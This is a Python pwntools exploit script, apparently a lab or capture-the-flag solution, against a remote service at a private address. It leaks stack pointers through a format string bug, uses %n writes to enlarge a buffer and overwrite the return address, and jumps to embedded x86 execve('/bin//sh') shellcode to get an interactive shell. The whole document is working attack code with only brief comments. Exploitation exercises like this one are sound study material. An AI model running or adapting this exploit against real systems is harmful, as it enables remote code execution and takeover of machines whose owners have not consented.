from pwn import *

p = remote("192.168.80.132", 1234)
log.info(p.recvuntil("\n"))

#STAGE 1: We leak the pointer where we can overwrite with format string vulnerabilty and edit 13 bytes to 1023 for writing shellcode + memory address
p.sendline("%5$x")
buffer_address = int(p.recvuntil("\n"), 16)
log.info("Memory address pointer to write:  %s" % hex(buffer_address))
log.info(p.recvuntil("\n"))
p.sendline("%4$x")
content = int(p.recvuntil("\n"), 16)
log.info("Default lenght of buffer 13 bytes: %s" % hex(content))
log.info(p.recvuntil("\n"))

x = int(buffer_address)-12
log.info("Memory address where is 13 bytes: %s" % hex(x))
leak = ""
leak += p32(x+1)
leak += "%99x%7$n"
log.info("Length of payload: %s" % str(len(leak)))
p.sendline(leak)
p.recvuntil("\n")
log.info(p.recvuntil("\n"))

#STAGE 2: Controlling EIP overwriting return address using format string vulnerability + shellcode
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
ret = int(buffer_address)-32
log.info("Return address: %s" % hex(ret))
#Bytes to write correspond to the memory address of our buffer + 0x8 which is where our shellcode starts
primeros_bytes = hex(int(buffer_address))[2:6]
ultimos_bytes = hex(int(buffer_address)+0x8)[-4:]
log.info("First bytes of pointer where we have write: %s" % primeros_bytes)
log.info("Last bytes of pointer where we have write: %s" % ultimos_bytes)
payload = "" 
payload += p32(ret) #Offsets to the memory address of the return address on the stack, it is -32 bytes from our buffer
payload += p32(ret+2) #Upper part of the ret
payload += shellcode
payload += "%" + str(int(ultimos_bytes, 16)-31)+ "x%7$hn" #We write in the lower part
payload += "%" + str(int(primeros_bytes, 16)- int(ultimos_bytes, 16)) + "x%8$hn" #We write in the upper part
p.sendline(payload)
p.interactive()
